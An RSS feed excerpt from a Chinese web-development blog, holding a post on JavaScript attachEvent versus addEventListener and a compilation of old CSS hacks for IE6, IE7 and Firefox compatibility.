&#60;!--CTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt--&#62;
&#60;input id=&#34;para&#34; type=&#34;text&#34; /&#62; &#60;script type=&#34;text/javascript&#34;&#62;&#60;!--
function test(){
alert(&#34;test&#34;);
}&#60;/div&#62;
&#60;div  mce_tmp=&#34;1&#34;&#62;function pig(){
alert(&#34;pig&#34;);
}&#60;/div&#62;
&#60;div  mce_tmp=&#34;1&#34;&#62;window.onload = function(){
         var element = document.getElementById(&#34;para&#34;);
         if(element.addEventListener){ // firefox , w3c
          [...]]]></description>
			<content:encoded><![CDATA[<div class="runcode">
<p><textarea name="runcode" class="runcode_text" id="runcode_EpKyZy">
&lt;!--CTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt--&gt;
&lt;input id=&quot;para&quot; type=&quot;text&quot; /&gt; &lt;script type=&quot;text/javascript&quot;&gt;&lt;!--
function test(){
alert(&quot;test&quot;);
}&lt;/div&gt;
&lt;div  mce_tmp=&quot;1&quot;&gt;function pig(){
alert(&quot;pig&quot;);
}&lt;/div&gt;
&lt;div  mce_tmp=&quot;1&quot;&gt;window.onload = function(){
         var element = document.getElementById(&quot;para&quot;);
         if(element.addEventListener){ // firefox , w3c
                element.addEventListener(&quot;focus&quot;,test,false);
    element.addEventListener(&quot;focus&quot;,pig,false);
         } else {   // ie
    element.attachEvent(&quot;onfocus&quot;,test);
    element.attachEvent(&quot;onfocus&quot;,pig);
         }
}
// --&gt;&lt;/script&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
    &lt;title&gt;JS&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;input id=&quot;para&quot; type=&quot;text&quot; /&gt;
   &lt;script type=&quot;text/javascript&quot;&gt;
function test(){
alert(&quot;test&quot;);
}
function pig(){
alert(&quot;pig&quot;);
}
window.onload = function(){
         var element = document.getElementById(&quot;para&quot;);
         if(element.addEventListener){ // firefox , w3c
                element.addEventListener(&quot;focus&quot;,test,false);
    element.addEventListener(&quot;focus&quot;,pig,false);
         } else {   // ie
    element.attachEvent(&quot;onfocus&quot;,test);
    element.attachEvent(&quot;onfocus&quot;,pig);
         }
}
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea></p>
<p><input type="button" value="运行" class="runcode_button" onclick="runcode_open_new('runcode_EpKyZy');"/> <input type="button" value="复制" class="runcode_button" onclick="runcode_copy('runcode_EpKyZy');"/> 提示：你可以先修改部分代码再运行。</p>
</div>
<p> </p>
<p>****************实例结束**************************</p>
<p> </p>
<p>JS:attachEvent和addEventListener 使用方法<br />
attachEvent与addEventListener区别<br />
适应的浏览器版本不同，同时在使用的过程中要注意<br />
attachEvent方法          按钮onclick<br />
addEventListener方法    按钮click</p>
<p>两者使用的原理：可对执行的优先级不一样，下面实例讲解如下：<br />
attachEvent方法，为某一事件附加其它的处理事件。（不支持Mozilla系列）</p>
<p>addEventListener方法 用于 Mozilla系列</p>
<p>举例: document.getElementById(&#8221;btn&#8221;).onclick = method1;<br />
document.getElementById(&#8221;btn&#8221;).onclick = method2;<br />
document.getElementById(&#8221;btn&#8221;).onclick = method3;如果这样写,那么将会只有medhot3被执行</p>
<p>写成这样：<br />
var btn1Obj = document.getElementById(&#8221;btn1&#8243;); //object.attachEvent(event,function);<br />
btn1Obj.attachEvent(&#8221;onclick&#8221;,method1);<br />
btn1Obj.attachEvent(&#8221;onclick&#8221;,method2);<br />
btn1Obj.attachEvent(&#8221;onclick&#8221;,method3);执行顺序为method3-&gt;method2-&gt;method1</p>
<p>如果是Mozilla系列，并不支持该方法，需要用到addEventListener var btn1Obj = document.getElementById(&#8221;btn1&#8243;);<br />
//element.addEventListener(type,listener,useCapture);<br />
btn1Obj.addEventListener(&#8221;click&#8221;,method1,false);<br />
btn1Obj.addEventListener(&#8221;click&#8221;,method2,false);<br />
btn1Obj.addEventListener(&#8221;click&#8221;,method3,false);执行顺序为method1-&gt;method2-&gt;method3</p>
<p>使用实例：</p>
<p>1。 var el = EDITFORM_DOCUMENT.body;<br />
//先取得对象，EDITFORM_DOCUMENT实为一个iframe<br />
if (el.addEventListener){<br />
el.addEventListener(&#8217;click&#8217;, KindDisableMenu, false);<br />
} else if (el.attachEvent){<br />
el.attachEvent(&#8217;onclick&#8217;, KindDisableMenu);<br />
}2。 if (window.addEventListener) {<br />
window.addEventListener(&#8217;load&#8217;, _uCO, false);<br />
} else if (window.attachEvent) {<br />
window.attachEvent(&#8217;onload&#8217;, _uCO);<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/341/feed</wfw:commentRss>
		</item>
		<item>
		<title>目前比较全面的CSS BUG浏览器兼容知识汇总</title>
		<link>http://www.huangjunkai.cn/338</link>
		<comments>http://www.huangjunkai.cn/338#comments</comments>
		<pubDate>Wed, 25 Mar 2009 13:09:24 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[xhtml+css]]></category>

		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=338</guid>
		<description><![CDATA[从网上收集了IE7,6与Fireofx的兼容性处理方法并整理了一下.对于web2.0的过度,请尽量用xhtml格式写代码,而且DOCTYPE 影响 CSS 处理,作为W3C的标准,一定要加 DOCTYPE声明，更多CSS BUG浏览器兼容知识请参考52CSS.com的文章与教程。
CSS技巧
1.div的垂直居中问题 vertical-align:middle; 将行距增加到和整个DIV一样高 line-height:200px; 然后插入文字，就垂直居中了。缺点是要控制内容不要换行  
2. margin加倍的问题     设置为float的div在ie下设置的margin会加倍。这是一个ie6都存在的bug。解决方案是在这个div里面加上display:inline;    例如：    &#60;#div id=”imfloat”&#62;    相应的css为    #IamFloat{    float:left;    margin:5px;/*IE下理解为10px*/    display:inline;/*IE下再理解为5px*/}  
3.浮动ie产生的双倍距离     #box{ float:left; width:100px; margin:0 0 0 100px; //这种情况之下IE会产生200px的距离 display:inline; //使浮动忽略}    这里细说一下block与inline两个元素：block元素的特点是,总是在新行上开始,高度,宽度,行高,边距都可以控制(块元素);Inline元素的特点是,和其他元素在同一行上,不可控制(内嵌元素);    #box{ display:block; //可以为内嵌元素模拟为块元素 display:inline; //实现同一行排列的效果 diplay:table;   
4 IE与宽度和高度的问题 IE 不认得min-这个定义，但实际上它把正常的width和height当作有min的情况来使。这样问题就大了，如果只用宽度和高度，正常的浏览器里这两个值就不会变，如果只用min-width和min-height的话，IE下面根本等于没有设置宽度和高度。    比如要设置背景图片，这个宽度是比较重要的。要解决这个问题，可以这样：    #box{ width: 80px; height: 35px;}html&#62;body #box{ width: auto; height: auto; min-width: 80px; min-height: 35px;}   
5.页面的最小宽度     min -width是个非常方便的CSS命令，它可以指定元素最小也不能小于某个宽度，这样就能保证排版一直正确。但IE不认得这个，而它实际上把width当做最小宽度来使。为了让这一命令在IE上也能用，可以把一个&#60;div&#62; 放到 &#60;body&#62; 标签下，然后为div指定一个类, 然后CSS这样设计：    #container{ min-width: 600px; width:e-xpression(document.body.clientWidth &#60; 600? &#8221;600px&#8221;: &#8221;auto&#8221; );}    第一个min-width是正常的；但第2行的width使用了Javascript，这只有IE才认得，这也会让你的HTML文档不太正规。它实际上通过Javascript的判断来实现最小宽度。
6.DIV浮动IE文本产生3象素的bug    左边对象浮动，右边采用外补丁的左边距来定位，右边对象内的文本会离左边有3px的间距.    #box{ float:left; width:800px;}   #left{ float:left; width:50%;}   #right{ width:50%;}   *html #left{ margin-right:-3px; //这句是关键}    &#60;div id=&#8221;box&#8221;&#62;   &#60;div id=&#8221;left&#8221;&#62;&#60;/div&#62;   &#60;div id=&#8221;right&#8221;&#62;&#60;/div&#62;   &#60;/div&#62;  
7.IE捉迷藏的问题    当div应用复杂的时候每个栏中又有一些链接，DIV等这个时候容易发生捉迷藏的问题。    有些内容显示不出来，当鼠标选择这个区域是发现内容确实在页面。 解决办法：对#layout使用line-height属性 或者给#layout使用固定高和宽。页面结构尽量简单。  
8.float的div闭合;清除浮动;自适应高度;   
① 例如：&#60;#div id=”floatA” &#62;&#60;#div id=”floatB” &#62;&#60;#div id=” NOTfloatC” &#62;这里的NOTfloatC并不希望继续平移，而是希望往下排。(其中floatA、floatB的属性已经设置为 float:left;)   这段代码在IE中毫无问题，问题出在FF。原因是NOTfloatC并非float标签，必须将float标签闭合。在 &#60;#div class=”floatB”&#62; &#60;#div class=”NOTfloatC”&#62;之间加上 &#60; #div class=”clear”&#62;这个div一定要注意位置，而且必须与两个具有float属性的div同级，之间不能存在嵌套关系，否则会产生异常。 并且将clear这种样式定义为为如下即可： .clear{ clear:both;}   
②作为外部 wrapper 的 div 不要定死高度,为了让高度能自动适应，要在wrapper里面加上overflow:hidden; 当包含float的 box的时候，高度自动适应在IE下无效，这时候应该触发IE的layout私有属性(万恶的IE啊！)用zoom:1;可以做到，这样就达到了兼容。    例如某一个wrapper如下定义：    .colwrapper{ overflow:hidden; zoom:1; margin:5px auto;}   
③对于排版,我们用得最多的css描述可能就是float:left.有的时候我们需要在n栏的float div后面做一个统一的背景,譬如:   &#60;div id=”page”&#62;   &#60;div id=”left”&#62;&#60;/div&#62;   &#60;div id=”center”&#62;&#60;/div&#62;   &#60;div id=”right”&#62;&#60;/div&#62;    &#60;/div&#62;   比如我们要将page的背景设置成蓝色,以达到所有三栏的背景颜色是蓝色的目的,但是我们会发现随着left center right的向下拉长,而 page居然保存高度不变,问题来了,原因在于page不是float属性,而我们的page由于要居中,不能设置成float,所以我们应该这样解决    &#60;div id=”page”&#62;   &#60;div id=”bg” style=”float:left;width:100%”&#62;   &#60;div id=”left”&#62;&#60;/div&#62;   &#60;div id=”center”&#62;&#60;/div&#62;   &#60;div id=”right”&#62;&#60;/div&#62;   &#60;/div&#62;   &#60;/div&#62;   再嵌入一个float left而宽度是100%的DIV解决之 
④万能float 闭合(非常重要!)    关于 clear float 的原理可参见 [How To Clear Floats Without Structural Markup],将以下代码加入Global CSS 中,给需要闭合的div加上 class=&#8221;clearfix&#8221; 即可,屡试不爽.    /* Clear Fix */    .clearfix:after { content:&#8221;.&#8221;; display:block; height:0; clear:both; visibility:hidden; }    .clearfix { display:inline-block; }    /* Hide from IE Mac */    .clearfix {display:block;}    /* End hide from IE Mac */    /* end of clearfix */    或者这样设置：.hackbox{ display:table; //将对象作为块元素级的表格显示}  
11.高度不适应    高度不适应是当内层对象的高度发生变化时外层高度不能自动进行调节，特别是当内层对象使用margin 或paddign 时。    例：   #box {background-color:#eee; }     #box p {margin-top: 20px;margin-bottom: 20px; text-align:center; }     &#60;div id=&#8221;box&#8221;&#62;     &#60;p&#62;p对象中的内容&#60;/p&#62;     &#60;/div&#62;     解决方法：在P对象上下各加2个空的div对象CSS代码：.1{height:0px;overflow:hidden;}或者为DIV加上border属性。
12 .IE6下为什么图片下有空隙产生 解决这个BUG的方法也有很多,可以是改变html的排版,或者设置img 为display:block 或者设置vertical-align 属性为 vertical-align:top &#124; bottom &#124;middle &#124;text-bottom 都可以解决.
13.如何对齐文本与文本输入框 加上 vertical-align:middle; &#60;style type=&#8221;text/css&#8221;&#62; &#60;!&#8211; input {      width:200px;      height:30px;      border:1px solid red;      vertical-align:middle; } &#8211;&#62; &#60;/style&#62;
14.web标准中定义id与class有什么区别吗 一.web标准中是不容许重复ID的,比如 div id=&#8221;aa&#8221;   不容许重复2次,而class 定义的是类,理论上可以无限重复, 这样需要多次引用的定义便可以使用他. 二.属性的优先级问题 ID 的优先级要高于class,看上面的例子 三.方便JS等客户端脚本,如果在页面中要对某个对象进行脚本操作,那么可以给他定义一个ID,否则只能利用遍历页面元素加上指定特定属性来找到它,这是相对浪费时间资源,远远不如一个ID来得简单.
15. LI中内容超过长度后以省略号显示的方法 此方法适用与IE与OP浏览器 &#60;style type=&#8221;text/css&#8221;&#62; &#60;!&#8211; li {      width:200px;      white-space:nowrap;      text-overflow:ellipsis;      -o-text-overflow:ellipsis;      overflow: hidden;      } &#8211;&#62; &#60;/style&#62;
16.为什么web标准中IE无法设置滚动条颜色了 解决办法是将body换成html &#60;!DOCTYPE html PUBLIC &#8221;-//W3C//DTD XHTML 1.0 Strict//EN&#8221; &#8221;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&#8221;&#62; &#60;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=gb2312&#8243; /&#62; &#60;style type=&#8221;text/css&#8221;&#62; &#60;!&#8211; html {      scrollbar-face-color:#f6f6f6;      scrollbar-highlight-color:#fff;      scrollbar-shadow-color:#eeeeee;      scrollbar-3dlight-color:#eeeeee;      scrollbar-arrow-color:#000;      scrollbar-track-color:#fff;      scrollbar-darkshadow-color:#fff;      } &#8211;&#62; &#60;/style&#62;
17.为什么无法定义1px左右高度的容器 IE6下这个问题是因为默认的行高造成的,解决的方法也有很多,例如:overflow:hidden &#124; zoom:0.08 &#124; line-height:1px
18.怎么样才能让层显示在FLASH之上呢 解决的办法是给FLASH设置透明 &#60;param name=&#8221;wmode&#8221; value=&#8221;transparent&#8221; /&#62;
19.怎样使一个层垂直居中于浏览器中 这里我们使用百分比绝对定位,与外补丁负值的方法,负值的大小为其自身宽度高度除以二 &#60;style type=&#8221;text/css&#8221;&#62; &#60;!&#8211; div {      position:absolute;      top:50%;      lef:50%;      margin:-100px 0 0 -100px;      width:200px;      height:200px;      border:1px solid red;      } &#8211;&#62; &#60;/style&#62;   
FF与IE  
1. Div居中问题   div设置 margin-left, margin-right 为 auto 时已经居中，IE 不行，IE需要设定body居中，首先在父级元素定义text-algin: center;这个的意思就是在父级元素内的内容居中。   
2.链接(a标签)的边框与背景   a 链接加边框和背景色，需设置 display: block, 同时设置 float: left 保证不换行。参照 menubar, 给 a 和 menubar 设置高度是为了避免底边显示错位, 若不设 height, 可以在 menubar 中插入一个空格。
3.超链接访问过后hover样式就不出现的问题 被点击访问过的超链接样式不在具有hover和active了,很多人应该都遇到过这个问题,解决方法是改变CSS属性的排列顺序: L-V-H-A Code: &#60;style type=&#8221;text/css&#8221;&#62; &#60;!&#8211; a:link {} a:visited {} a:hover {} a:active {} &#8211;&#62; &#60;/style&#62;    
4. 游标手指cursor    cursor: pointer 可以同时在 IE FF 中显示游标手指状， hand 仅 IE 可以  
5.UL的padding与margin   ul标签在FF中默认是有padding值的,而在IE中只有margin默认有值,所以先定义 ul{margin:0;padding:0;}就能解决大部分问题   
6. FORM标签   这个标签在IE中,将会自动margin一些边距,而在FF中margin则是0,因此,如果想显示一致,所以最好在css中指定margin和 padding,针对上面两个问题,我的css中一般首先都使用这样的样式ul,form{margin:0;padding:0;}给定义死了,所以后面就不会为这个头疼了.  
7. BOX模型解释不一致问题   在FF和IE 中的BOX模型解释不一致导致相差2px解决方法：div{margin:30px!important;margin:28px;} 注意这两个 margin的顺序一定不能写反， important这个属性IE不能识别，但别的浏览器可以识别。所以在IE下其实解释成这样： div {maring:30px;margin:28px}重复定义的话按照最后一个来执行，所以不可以只写margin:xx px!important;     #box{ width:600px; //for ie6.0- w\idth:500px; //for ff+ie6.0}    #box{ width:600px!important //for ff width:600px; //for ff+ie6.0 width /**/:500px; //for ie6.0-}  
8.属性选择器(这个不能算是兼容,是隐藏css的一个bug)    p[id]{}div[id]{}    这个对于IE6.0和IE6.0以下的版本都隐藏,FF和OPera作用.属性选择器和子选择器还是有区别的,子选择器的范围从形式来说缩小了,属性选择器的范围比较大,如p[id]中,所有p标签中有id的都是同样式的.  
9.最狠的手段 - !important;    如果实在没有办法解决一些细节问题,可以用这个方法.FF对于”!important”会自动优先解析,然而IE则会忽略.如下   .tabd1{    background:url(/res/images/up/tab1.gif) no-repeat 0px 0px !important; /*Style for FF*/    background:url(/res/images/up/tab1.gif) no-repeat 1px 0px; /* Style for IE */}   值得注意的是，一定要将xxxx !important 这句放置在另一句之上，上面已经提过   
10.IE,FF的默认值问题   或许你一直在抱怨为什么要专门为IE和FF写不同的CSS，为什么IE这样让人头疼，然后一边写css，一边咒骂那个可恶的M$ IE.其实对于css的标准支持方面，IE并没有我们想象的那么可恶，关键在于IE和FF的默认值不一样而已，掌握了这个技巧，你会发现写出兼容FF和IE的css并不是那么困难，或许对于简单的css，你完全可以不用”!important”这个东西了。    我们都知道，浏览器在显示网页的时候，都会根据网页的 css样式表来决定如何显示，但是我们在样式表中未必会将所有的元素都进行了具体的描述，当然也没有必要那么做，所以对于那些没有描述的属性，浏览器将采用内置默认的方式来进行显示，譬如文字，如果你没有在css中指定颜色，那么浏览器将采用黑色或者系统颜色来显示，div或者其他元素的背景，如果在 css中没有被指定，浏览器则将其设置为白色或者透明，等等其他未定义的样式均如此。所以有很多东西出现FF和IE显示不一样的根本原因在于它们的默认显示不一样，而这个默认样式该如何显示我知道在w3中有没有对应的标准来进行规定，因此对于这点也就别去怪罪IE了。
11.为什么FF下文本无法撑开容器的高度 标准浏览器中固定高度值的容器是不会象IE6里那样被撑开的,那我又想固定高度,又想能被撑开需要怎样设置呢？办法就是去掉height设置min-height:200px;   这里为了照顾不认识min-height的IE6 可以这样定义: { height:auto!important; height:200px; min-height:200px; }
12.FireFox下如何使连续长字段自动换行 众所周知IE中直接使用 word-wrap:break-word 就可以了, FF中我们使用JS插入的方法来解决 &#60;style type=&#8221;text/css&#8221;&#62; &#60;!&#8211; div {      width:300px;      word-wrap:break-word;      border:1px solid red; } &#8211;&#62; &#60;/style&#62; &#60;div id=&#8221;ff&#8221;&#62;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#60;/div&#62; &#60;scrīpt type=&#8221;text/javascrīpt&#8221;&#62; /* &#60;![CDATA[ */ function toBreakWord(el, intLen){      var ōbj=document.getElementById(el);      var strContent=obj.innerHTML;      var strTemp="";      while(strContent.length&#62;intLen){          strTemp+=strContent.substr(0,intLen)+" ";          strContent=strContent.substr(intLen,strContent.length);      }      strTemp+=" "+strContent;      obj.innerHTML=strTemp; } if(document.getElementById   &#38;&#38;   !document.all)   toBreakWord("ff", 37); /* ]]&#62; */ &#60;/scrīpt&#62; 
13.为什么IE6下容器的宽度和FF解释不同呢 &#60;?xml version=&#8221;1.0&#8243; encoding=&#8221;gb2312&#8243;?&#62; &#60;!DOCTYPE html PUBLIC &#8221;-//W3C//DTD XHTML 1.0 Strict//EN&#8221; &#8221;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&#8221;&#62; &#60;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=gb2312&#8243; /&#62; &#60;style type=&#8221;text/css&#8221;&#62; &#60;!&#8211; div {      cursor:pointer;      width:200px;      height:200px;      border:10px solid red      } &#8211;&#62; &#60;/style&#62; &#60;div ōnclick=&#8221;alert(this.offsetWidth)&#8221;&#62;让FireFox与IE兼容&#60;/div&#62; 问题的差别在于容器的整体宽度有没有将边框（border）的宽度算在其内,这里IE6解释为200PX ,而FF则解释为220PX,那究竟是怎么导致的问题呢？大家把容器顶部的xml去掉就会发现原来问题出在这,顶部的申明触发了IE的qurks mode,关于qurks mode、 standards mode的相关知识,请参考:http: //www.microsoft.com/china/msdn/library/webservices/asp.net/ ASPNETusStan.mspx?mfr=true
IE6,IE7,FF   IE7.0 出来了，对CSS的支持又有新问题。浏览器多了，网页兼容性更差了，疲于奔命的还是我们 ，为解决IE7.0的兼容问题，找来了下面这篇文章： 现在我大部分都是用!important来hack，对于ie6和firefox测试可以正常显示，但是ie7对!important可以正确解释，会导致页面没按要求显示！下面是三个浏览器的兼容性收集.  
第一种，是CSS HACK的方法    height:20px; /*For Firefox*/    *height:25px; /*For IE7 &#38; IE6*/    _height:20px; /*For IE6*/    注意顺序。    这样也属于CSS HACK，不过没有上面这样简洁。    #example { color: #333; } /* Moz */    * html #example { color: #666; } /* IE6 */    *+html #example { color: #999; } /* IE7 */   
    &#60;!&#8211;其他浏览器 &#8211;&#62;    &#60;link rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221; href=&#8221;css.css&#8221; /&#62;    &#60;!&#8211;[if IE 7]&#62;    &#60;!&#8211; 适合于IE7 &#8211;&#62;    &#60;link rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221; href=&#8221;ie7.css&#8221; /&#62;    &#60;![endif]&#8211;&#62;    &#60;!&#8211;[if lte IE 6]&#62;    &#60;!&#8211; 适合于IE6及一下 &#8211;&#62;    &#60;link rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221; href=&#8221;ie.css&#8221; /&#62;    &#60;![endif]&#8211;&#62;   
第三种，css filter的办法，以下为经典从国外网站翻译过来的。.    新建一个css样式如下：    #item {         width: 200px;         height: 200px;         background: red;    }     新建一个div,并使用前面定义的css的样式：    &#60;div id=&#8221;item&#8221;&#62;some text here&#60;/div&#62;     在body表现这里加入lang属性,中文为zh：    &#60;body lang=&#8221;en&#8221;&#62;     现在对div元素再定义一个样式：    *:lang(en) #item{         background:green !important;    }     这样做是为了用!important覆盖原来的css样式,由于:lang选择器ie7.0并不支持,所以对这句话不会有任何作用,于是也达到了ie6.0下同样的效果,但是很不幸地的是,safari同样不支持此属性,所以需要加入以下css样式：    #item:empty {         background: green !important    }     :empty选择器为css3的规范,尽管safari并不支持此规范,但是还是会选择此元素,不管是否此元素存在,现在绿色会现在在除ie各版本以外的浏览器上。    对IE6和FF的兼容可以考虑以前的!important 个人比较喜欢用第一种，简洁，兼容性比较好。
转载自：52css.com
]]></description>
			<content:encoded><![CDATA[<p>从网上收集了IE7,6与Fireofx的兼容性处理方法并整理了一下.对于web2.0的过度,请尽量用xhtml格式写代码,而且DOCTYPE 影响 CSS 处理,作为W3C的标准,一定要加 DOCTYPE声明，更多CSS BUG浏览器兼容知识请参考52CSS.com的文章与教程。</p>
<p>CSS技巧</p>
<p>1.div的垂直居中问题 vertical-align:middle; 将行距增加到和整个DIV一样高 line-height:200px; 然后插入文字，就垂直居中了。缺点是要控制内容不要换行  </p>
<p>2. margin加倍的问题     设置为float的div在ie下设置的margin会加倍。这是一个ie6都存在的bug。解决方案是在这个div里面加上display:inline;    例如：    &lt;#div id=”imfloat”&gt;    相应的css为    #IamFloat{    float:left;    margin:5px;/*IE下理解为10px*/    display:inline;/*IE下再理解为5px*/}  </p>
<p>3.浮动ie产生的双倍距离     #box{ float:left; width:100px; margin:0 0 0 100px; //这种情况之下IE会产生200px的距离 display:inline; //使浮动忽略}    这里细说一下block与inline两个元素：block元素的特点是,总是在新行上开始,高度,宽度,行高,边距都可以控制(块元素);Inline元素的特点是,和其他元素在同一行上,不可控制(内嵌元素);    #box{ display:block; //可以为内嵌元素模拟为块元素 display:inline; //实现同一行排列的效果 diplay:table;   </p>
<p>4 IE与宽度和高度的问题 IE 不认得min-这个定义，但实际上它把正常的width和height当作有min的情况来使。这样问题就大了，如果只用宽度和高度，正常的浏览器里这两个值就不会变，如果只用min-width和min-height的话，IE下面根本等于没有设置宽度和高度。    比如要设置背景图片，这个宽度是比较重要的。要解决这个问题，可以这样：    #box{ width: 80px; height: 35px;}html&gt;body #box{ width: auto; height: auto; min-width: 80px; min-height: 35px;}   </p>
<p>5.页面的最小宽度     min -width是个非常方便的CSS命令，它可以指定元素最小也不能小于某个宽度，这样就能保证排版一直正确。但IE不认得这个，而它实际上把width当做最小宽度来使。为了让这一命令在IE上也能用，可以把一个&lt;div&gt; 放到 &lt;body&gt; 标签下，然后为div指定一个类, 然后CSS这样设计：    #container{ min-width: 600px; width:e-xpression(document.body.clientWidth &lt; 600? &#8221;600px&#8221;: &#8221;auto&#8221; );}    第一个min-width是正常的；但第2行的width使用了Javascript，这只有IE才认得，这也会让你的HTML文档不太正规。它实际上通过Javascript的判断来实现最小宽度。</p>
<p>6.DIV浮动IE文本产生3象素的bug    左边对象浮动，右边采用外补丁的左边距来定位，右边对象内的文本会离左边有3px的间距.    #box{ float:left; width:800px;}   #left{ float:left; width:50%;}   #right{ width:50%;}   *html #left{ margin-right:-3px; //这句是关键}    &lt;div id=&#8221;box&#8221;&gt;   &lt;div id=&#8221;left&#8221;&gt;&lt;/div&gt;   &lt;div id=&#8221;right&#8221;&gt;&lt;/div&gt;   &lt;/div&gt;  </p>
<p>7.IE捉迷藏的问题    当div应用复杂的时候每个栏中又有一些链接，DIV等这个时候容易发生捉迷藏的问题。    有些内容显示不出来，当鼠标选择这个区域是发现内容确实在页面。 解决办法：对#layout使用line-height属性 或者给#layout使用固定高和宽。页面结构尽量简单。  </p>
<p>8.float的div闭合;清除浮动;自适应高度;   </p>
<p>① 例如：&lt;#div id=”floatA” &gt;&lt;#div id=”floatB” &gt;&lt;#div id=” NOTfloatC” &gt;这里的NOTfloatC并不希望继续平移，而是希望往下排。(其中floatA、floatB的属性已经设置为 float:left;)   这段代码在IE中毫无问题，问题出在FF。原因是NOTfloatC并非float标签，必须将float标签闭合。在 &lt;#div class=”floatB”&gt; &lt;#div class=”NOTfloatC”&gt;之间加上 &lt; #div class=”clear”&gt;这个div一定要注意位置，而且必须与两个具有float属性的div同级，之间不能存在嵌套关系，否则会产生异常。 并且将clear这种样式定义为为如下即可： .clear{ clear:both;}   </p>
<p>②作为外部 wrapper 的 div 不要定死高度,为了让高度能自动适应，要在wrapper里面加上overflow:hidden; 当包含float的 box的时候，高度自动适应在IE下无效，这时候应该触发IE的layout私有属性(万恶的IE啊！)用zoom:1;可以做到，这样就达到了兼容。    例如某一个wrapper如下定义：    .colwrapper{ overflow:hidden; zoom:1; margin:5px auto;}   </p>
<p>③对于排版,我们用得最多的css描述可能就是float:left.有的时候我们需要在n栏的float div后面做一个统一的背景,譬如:   &lt;div id=”page”&gt;   &lt;div id=”left”&gt;&lt;/div&gt;   &lt;div id=”center”&gt;&lt;/div&gt;   &lt;div id=”right”&gt;&lt;/div&gt;    &lt;/div&gt;   比如我们要将page的背景设置成蓝色,以达到所有三栏的背景颜色是蓝色的目的,但是我们会发现随着left center right的向下拉长,而 page居然保存高度不变,问题来了,原因在于page不是float属性,而我们的page由于要居中,不能设置成float,所以我们应该这样解决    &lt;div id=”page”&gt;   &lt;div id=”bg” style=”float:left;width:100%”&gt;   &lt;div id=”left”&gt;&lt;/div&gt;   &lt;div id=”center”&gt;&lt;/div&gt;   &lt;div id=”right”&gt;&lt;/div&gt;   &lt;/div&gt;   &lt;/div&gt;   再嵌入一个float left而宽度是100%的DIV解决之 </p>
<p>④万能float 闭合(非常重要!)    关于 clear float 的原理可参见 [How To Clear Floats Without Structural Markup],将以下代码加入Global CSS 中,给需要闭合的div加上 class=&#8221;clearfix&#8221; 即可,屡试不爽.    /* Clear Fix */    .clearfix:after { content:&#8221;.&#8221;; display:block; height:0; clear:both; visibility:hidden; }    .clearfix { display:inline-block; }    /* Hide from IE Mac */    .clearfix {display:block;}    /* End hide from IE Mac */    /* end of clearfix */    或者这样设置：.hackbox{ display:table; //将对象作为块元素级的表格显示}  </p>
<p>11.高度不适应    高度不适应是当内层对象的高度发生变化时外层高度不能自动进行调节，特别是当内层对象使用margin 或paddign 时。    例：   #box {background-color:#eee; }     #box p {margin-top: 20px;margin-bottom: 20px; text-align:center; }     &lt;div id=&#8221;box&#8221;&gt;     &lt;p&gt;p对象中的内容&lt;/p&gt;     &lt;/div&gt;     解决方法：在P对象上下各加2个空的div对象CSS代码：.1{height:0px;overflow:hidden;}或者为DIV加上border属性。</p>
<p>12 .IE6下为什么图片下有空隙产生 解决这个BUG的方法也有很多,可以是改变html的排版,或者设置img 为display:block 或者设置vertical-align 属性为 vertical-align:top | bottom |middle |text-bottom 都可以解决.</p>
<p>13.如何对齐文本与文本输入框 加上 vertical-align:middle; &lt;style type=&#8221;text/css&#8221;&gt; &lt;!&#8211; input {      width:200px;      height:30px;      border:1px solid red;      vertical-align:middle; } &#8211;&gt; &lt;/style&gt;</p>
<p>14.web标准中定义id与class有什么区别吗 一.web标准中是不容许重复ID的,比如 div id=&#8221;aa&#8221;   不容许重复2次,而class 定义的是类,理论上可以无限重复, 这样需要多次引用的定义便可以使用他. 二.属性的优先级问题 ID 的优先级要高于class,看上面的例子 三.方便JS等客户端脚本,如果在页面中要对某个对象进行脚本操作,那么可以给他定义一个ID,否则只能利用遍历页面元素加上指定特定属性来找到它,这是相对浪费时间资源,远远不如一个ID来得简单.</p>
<p>15. LI中内容超过长度后以省略号显示的方法 此方法适用与IE与OP浏览器 &lt;style type=&#8221;text/css&#8221;&gt; &lt;!&#8211; li {      width:200px;      white-space:nowrap;      text-overflow:ellipsis;      -o-text-overflow:ellipsis;      overflow: hidden;      } &#8211;&gt; &lt;/style&gt;</p>
